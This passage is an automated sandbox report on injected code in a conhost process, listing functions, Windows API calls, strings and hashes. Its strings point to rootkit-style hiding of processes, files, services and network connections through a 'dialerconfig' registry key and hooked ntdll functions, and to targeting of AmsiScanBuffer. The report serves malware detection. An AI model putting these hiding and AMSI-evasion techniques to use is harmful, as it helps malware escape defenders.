Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C17CA

SleepEx.KERNELBASE ref: 000001D29E8C1AE3

Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C17E5
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1805
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C1820
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1840
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C185B
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C187B
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C1896
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C18A0

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 06bbfc522ada3b26fdb0d2dcff6431a596baa06a08803a463e175598942553bf
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: EA312F7160362542EB58ABA2D9F13EA53B4BBA9BD8F045023DF39876B5EF30C8518600

Non-executed Functions

Function 000001D29E8C2BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001D29E8C2C98
lstrlenW.KERNEL32 ref: 000001D29E8C2EC2

Part of subcall function 000001D29E8C1934: OpenProcess.KERNEL32 ref: 000001D29E8C195A
Part of subcall function 000001D29E8C1934: K32GetModuleFileNameExW.KERNEL32 ref: 000001D29E8C1978
Part of subcall function 000001D29E8C1934: PathFindFileNameW.SHLWAPI ref: 000001D29E8C1987
Part of subcall function 000001D29E8C1934: lstrlenW.KERNEL32 ref: 000001D29E8C1993
Part of subcall function 000001D29E8C1934: StrCpyW.SHLWAPI ref: 000001D29E8C19A6
Part of subcall function 000001D29E8C1934: CloseHandle.KERNEL32 ref: 000001D29E8C19B4

GetProcAddress.KERNEL32 ref: 000001D29E8C2CAD

Part of subcall function 000001D29E8C3C74: StrCmpNIW.SHLWAPI(?,?,?,000001D29E8C254B), ref: 000001D29E8C3C8C

StrCmpNIW.SHLWAPI ref: 000001D29E8C2CF0
lstrlenW.KERNEL32 ref: 000001D29E8C2E18

Strings

\Device\Nsi, xrefs: 000001D29E8C2CE3
NtQueryObject, xrefs: 000001D29E8C2CA3
ntdll.dll, xrefs: 000001D29E8C2C91

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: 1580a5fc35f9f3768bf1c873e8b5578b712228ca5f7f96f0f96ac0613b562586
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: 97B17F72213E6881EB6D9FA5D4607D963A4FB6AB88F445017EE39537E5DB34CC80C340

Function 000001D29E8C81C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001D29E8C81DC
RtlCaptureContext.NTDLL ref: 000001D29E8C8209
RtlLookupFunctionEntry.NTDLL ref: 000001D29E8C8223
RtlVirtualUnwind.NTDLL ref: 000001D29E8C8264
IsDebuggerPresent.KERNEL32 ref: 000001D29E8C82B8
SetUnhandledExceptionFilter.KERNEL32 ref: 000001D29E8C82D9
UnhandledExceptionFilter.KERNEL32 ref: 000001D29E8C82E4

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: 43867f5447f61fa8aeb849ae292d6fda23fdc926b732fdf74d2c93b3d2b02cdd
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: 7D316672206B90DAEB649FA0E8603ED7374FB55748F44442BDA6E47BA8DF38C549C710

Function 000001D29E8CD6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001D29E8CD74D
RtlLookupFunctionEntry.NTDLL ref: 000001D29E8CD765
RtlVirtualUnwind.NTDLL ref: 000001D29E8CD7A0
IsDebuggerPresent.KERNEL32 ref: 000001D29E8CD7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001D29E8CD7E3
UnhandledExceptionFilter.KERNEL32 ref: 000001D29E8CD7EE

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: 883d46e61a5da8a681544cdf0bad746b4b555d7c845fd75ad5ddb1e8eb3cd374
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 0B316272216F9086DB64DF65E8503DE73A4FB99758F500116EABD43BA8DF38C185CB00

Function 000001D29E8C7D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001D29E8C7DBC
GetCurrentThreadId.KERNEL32 ref: 000001D29E8C7DCA
GetCurrentProcessId.KERNEL32 ref: 000001D29E8C7DD6
QueryPerformanceCounter.KERNEL32 ref: 000001D29E8C7DE6

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: 399d590cb5a3225f575dce46190a1f560c044400ed79aa120d1af8336c17da06
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: 55113C32711F148AEF00DFA0E8643E833A4FB29758F440E26DA7D467A4DF78C2988380

Function 000001D29E8CE110 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 223b01cd0f930ae752de15cad39410bfb9f0e3b9a5322d2e97186d94b51f497c
Instruction ID: 8e83546f846ffe4391c5812cb3cee53622180969079137a32ad33a7652933ac8
Opcode Fuzzy Hash: 223b01cd0f930ae752de15cad39410bfb9f0e3b9a5322d2e97186d94b51f497c
Instruction Fuzzy Hash: F551D332702AA089FB24DBB2A8507EE7BA1F751798F144116EE7827FA9DB38C001C700

Function 000001D29E8A3B20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae390c6a42f7aa34880c2341c4c444ed621bc792ca3f489e9df2915f57af0cb
Instruction ID: e9235f85d6ffaedf5d4777f7bfaa1df89cb1648e988c0adf185c11685169c2d1
Opcode Fuzzy Hash: cae390c6a42f7aa34880c2341c4c444ed621bc792ca3f489e9df2915f57af0cb
Instruction Fuzzy Hash: 52F06271B162A48EDBA88F68B81275A77E1F318384FD4805ED6A983B24D23C8061CF04

Function 000001D29E8C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001D29E8C1633
HeapAlloc.KERNEL32 ref: 000001D29E8C1642

Part of subcall function 000001D29E8C1268: GetProcessHeap.KERNEL32 ref: 000001D29E8C126E
Part of subcall function 000001D29E8C1268: HeapAlloc.KERNEL32 ref: 000001D29E8C127D
Part of subcall function 000001D29E8C1268: GetProcessHeap.KERNEL32 ref: 000001D29E8C1297
Part of subcall function 000001D29E8C1268: HeapAlloc.KERNEL32 ref: 000001D29E8C12A8

Part of subcall function 000001D29E8C1000: GetProcessHeap.KERNEL32 ref: 000001D29E8C1006
Part of subcall function 000001D29E8C1000: HeapAlloc.KERNEL32 ref: 000001D29E8C1015
Part of subcall function 000001D29E8C1000: GetProcessHeap.KERNEL32 ref: 000001D29E8C1028
Part of subcall function 000001D29E8C1000: HeapAlloc.KERNEL32 ref: 000001D29E8C1037

RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C16B2
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C16DF
RegCloseKey.ADVAPI32 ref: 000001D29E8C16F9
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1719
RegCloseKey.ADVAPI32 ref: 000001D29E8C1734
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1754
RegCloseKey.ADVAPI32 ref: 000001D29E8C176F
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C178F
RegCloseKey.ADVAPI32 ref: 000001D29E8C17AA
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C17CA
RegCloseKey.ADVAPI32 ref: 000001D29E8C17E5
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1805
RegCloseKey.ADVAPI32 ref: 000001D29E8C1820
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1840
RegCloseKey.ADVAPI32 ref: 000001D29E8C185B
RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C187B
RegCloseKey.ADVAPI32 ref: 000001D29E8C1896
RegCloseKey.ADVAPI32 ref: 000001D29E8C18A0

Part of subcall function 000001D29E8C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001D29E8C1319
Part of subcall function 000001D29E8C12BC: GetProcessHeap.KERNEL32 ref: 000001D29E8C1327
Part of subcall function 000001D29E8C12BC: HeapAlloc.KERNEL32 ref: 000001D29E8C1338
Part of subcall function 000001D29E8C12BC: RegEnumValueW.ADVAPI32 ref: 000001D29E8C1397
Part of subcall function 000001D29E8C12BC: GetProcessHeap.KERNEL32 ref: 000001D29E8C13DF
Part of subcall function 000001D29E8C12BC: HeapAlloc.KERNEL32 ref: 000001D29E8C13ED
Part of subcall function 000001D29E8C12BC: GetProcessHeap.KERNEL32 ref: 000001D29E8C140A
Part of subcall function 000001D29E8C12BC: HeapFree.KERNEL32 ref: 000001D29E8C1418
Part of subcall function 000001D29E8C12BC: lstrlenW.KERNEL32 ref: 000001D29E8C1421
Part of subcall function 000001D29E8C12BC: GetProcessHeap.KERNEL32 ref: 000001D29E8C142F
Part of subcall function 000001D29E8C12BC: HeapAlloc.KERNEL32 ref: 000001D29E8C143D

Strings

tcp_remote, xrefs: 000001D29E8C1839
tcp_local, xrefs: 000001D29E8C17FE
udp, xrefs: 000001D29E8C1874
process_names, xrefs: 000001D29E8C174D
paths, xrefs: 000001D29E8C1788
SOFTWARE\dialerconfig, xrefs: 000001D29E8C1692
pid, xrefs: 000001D29E8C1712
service_names, xrefs: 000001D29E8C17C3
startup, xrefs: 000001D29E8C16D5

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: a227a7f36c8297d69906a4fdadc401eccae57495ff3980576ccd485e5d573718
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: 4A71D776312A2486EB149FA5E8A0BDD23B4FFA5B8CF405112DA6E57B79DE38C484C740

Function 000001D29E8C1D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001D29E8C1D4B

Part of subcall function 000001D29E8C20C4: GetModuleHandleA.KERNEL32(?,?,?,000001D29E8C1D7D), ref: 000001D29E8C20DC
Part of subcall function 000001D29E8C20C4: GetProcAddress.KERNEL32(?,?,?,000001D29E8C1D7D), ref: 000001D29E8C20ED

Part of subcall function 000001D29E8C5F60: GetCurrentThreadId.KERNEL32 ref: 000001D29E8C5F9B

Strings

NtEnumerateValueKey, xrefs: 000001D29E8C1E02
PdhGetRawCounterArrayW, xrefs: 000001D29E8C1E9C
NtQuerySystemInformation, xrefs: 000001D29E8C1D71
NtDeviceIoControlFile, xrefs: 000001D29E8C1E82
sechost.dll, xrefs: 000001D29E8C1E65
PdhGetFormattedCounterArrayW, xrefs: 000001D29E8C1EBD
advapi32.dll, xrefs: 000001D29E8C1E23, 000001D29E8C1E44
NtResumeThread, xrefs: 000001D29E8C1D8E
pdh.dll, xrefs: 000001D29E8C1EA3, 000001D29E8C1EC4
NtQueryDirectoryFile, xrefs: 000001D29E8C1DAB
EnumServicesStatusExW, xrefs: 000001D29E8C1E3D, 000001D29E8C1E5E
NtQueryDirectoryFileEx, xrefs: 000001D29E8C1DC8
EnumServiceGroupW, xrefs: 000001D29E8C1E1C
NtEnumerateKey, xrefs: 000001D29E8C1DE5
amsi.dll, xrefs: 000001D29E8C1EE5
AmsiScanBuffer, xrefs: 000001D29E8C1EDE
ntdll.dll, xrefs: 000001D29E8C1D59

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: 8b7f6b2a4df231c9bde63ee3d6ffd789226de77c7eed645b663af9635eea49ec
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: 674160B424396AA0EB0CEBE4E8717D82321BB7934CF805517E539032F59EB8828EC351

Function 000001D29E8C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001D29E8C1319
GetProcessHeap.KERNEL32 ref: 000001D29E8C1327
HeapAlloc.KERNEL32 ref: 000001D29E8C1338
RegEnumValueW.ADVAPI32 ref: 000001D29E8C1397

Part of subcall function 000001D29E8C152C: StrCmpIW.SHLWAPI ref: 000001D29E8C155D

GetProcessHeap.KERNEL32 ref: 000001D29E8C13DF
HeapAlloc.KERNEL32 ref: 000001D29E8C13ED
GetProcessHeap.KERNEL32 ref: 000001D29E8C140A
HeapFree.KERNEL32 ref: 000001D29E8C1418
lstrlenW.KERNEL32 ref: 000001D29E8C1421
GetProcessHeap.KERNEL32 ref: 000001D29E8C142F
HeapAlloc.KERNEL32 ref: 000001D29E8C143D
StrCpyW.SHLWAPI ref: 000001D29E8C145F
GetProcessHeap.KERNEL32 ref: 000001D29E8C1476
HeapFree.KERNEL32 ref: 000001D29E8C1484

Strings

d, xrefs: 000001D29E8C135A

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 2ed38ce0bfe92cfc6d426f4a0aed6e84b6004037ec12347840be1909283ea6d2
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: E7515E72202B94C6EB58CFA2E55839EB7B1FB99F99F044125DA6947728DF3CC049C700

Function 000001D29E896D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001D29E896D68
__scrt_acquire_startup_lock.LIBCMT ref: 000001D29E896DBA
_RTC_Initialize.LIBCMT ref: 000001D29E896DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001D29E896E0E
__scrt_release_startup_lock.LIBCMT ref: 000001D29E896E39

Strings

ned, xrefs: 000001D29E896E1E
destructor', xrefs: 000001D29E896F69, 000001D29E896FE2, 000001D29E89701C
restrict(, xrefs: 000001D29E896E17

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: f657af5a7311de4a118e6514e9e0da52f7b43398537b80d622928719daad3973
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: B181E471E1366186FAAC9BE6D8783DD2290B7B57CCF584027E935477B6DB3AC8419300

Function 000001D29E8CD258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD267
FlsGetValue.KERNEL32(?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD27C
FlsSetValue.KERNEL32(?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD29D
FlsSetValue.KERNEL32(?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD2CA
FlsSetValue.KERNEL32(?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD2DB
FlsSetValue.KERNEL32(?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD2EC
SetLastError.KERNEL32(?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD33D
FlsSetValue.KERNEL32(?,?,00000001,000001D29E8CF0FC,?,?,?,?,000001D29E8CC3CF,?,?,?,?,?,000001D29E8C7EE0), ref: 000001D29E8CD35C

Part of subcall function 000001D29E8CDAFC: HeapAlloc.KERNEL32(?,?,00000000,000001D29E8CD432,?,?,?,000001D29E8CDAE5,?,?,?,?,000001D29E8CDBA8), ref: 000001D29E8CDB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD384

Part of subcall function 000001D29E8CDB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001D29E8C643A), ref: 000001D29E8CDB8A
Part of subcall function 000001D29E8CDB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001D29E8C643A), ref: 000001D29E8CDB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001D29E8D0E9B,?,?,?,000001D29E8D088C,?,?,?,000001D29E8CCC7F), ref: 000001D29E8CD3A6

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: ab3d3014e2f21f0527fbf4387121fd05dd36f69811c7164c4df139058022b2af
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: 51413A3024366446FB5CB7F155753FD63827B667BCF18572AE9360AAF6EA38D4028200

Function 000001D29E8C2FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000001D29E8C3001
GetProcessHeap.KERNEL32 ref: 000001D29E8C3016
HeapAlloc.KERNEL32 ref: 000001D29E8C3024
PdhGetCounterInfoW.PDH ref: 000001D29E8C303A
StrCmpW.SHLWAPI ref: 000001D29E8C304F

Part of subcall function 000001D29E8C3554: StrCmpNW.SHLWAPI ref: 000001D29E8C3576
